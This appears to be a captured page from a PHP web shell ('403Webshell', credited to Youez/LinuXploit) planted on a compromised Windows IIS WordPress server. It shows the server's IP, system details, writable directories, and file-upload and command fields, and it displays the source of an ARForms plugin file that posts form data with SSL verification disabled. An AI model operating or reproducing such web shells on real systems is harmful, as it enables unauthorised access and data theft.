403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/arforms/core/ar/ebizac/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/KnowledgeBase/wp-content/plugins/arforms/core/ar/ebizac/ebizac.php
<?php
        global $MdlDb;
        
	$res = $wpdb->get_results($wpdb->prepare( "SELECT * FROM ".$MdlDb->autoresponder." WHERE responder_id=%d",6));$res = $res[0];

	$data = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM ".$MdlDb->ar." WHERE frm_id = %d", $fid), 'ARRAY_A' );
			
   	$arr_ebizac 	= maybe_unserialize( $data[0]['ebizac'] );
	
	$responder_api_key = stripslashes( stripslashes_deep( $arr_ebizac['type_val'] ) );

	$formdata = str_replace('"',"'",$responder_api_key);

	$formdata_n = explode("name='",$formdata);

	$count_formdata_n = count($formdata_n);

	$j=0;

	$fields = array();

	for($i=2;$i<$count_formdata_n;$i++)

	{

		$findvarname = strpos($formdata_n[$i],"type=");

		$formdata_n_both = trim(substr($formdata_n[$i], 0, $findvarname));

		

		$formdata_n_name = strpos($formdata_n_both,"'");

		$formdata_n_name_f = substr($formdata_n_both,0,$formdata_n_name);

		

		$formdata_n_value_ex = explode("value='",$formdata_n_both);

		$formdata_n_value = str_replace("'","",$formdata_n_value_ex[1]);

		

		if($formdata_n_name_f=="email")

		{

			$formdata_n_value = $email;

		}elseif($formdata_n_name_f=="fname" || $formdata_n_name_f=="lname" || $formdata_n_name_f=="fullname")

		{

			$formdata_n_value = $fname." ".$lname;

		}

		$fields[$formdata_n_name_f] = $formdata_n_value;



	}
		
	$get_urlexp = explode("action='",$formdata);
	$get_url_pos = strpos($get_urlexp[1],"'");	
	
	$url = substr($get_urlexp[1],0,$get_url_pos);
		
	$response = wp_remote_post( $url, array(
			'method' => 'POST',
			'timeout' => 45,
			'redirection' => 5,
			'httpversion' => '1.0',
			'blocking' => true,
			'sslverify' => false,
			'body' => $fields
			)
		);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit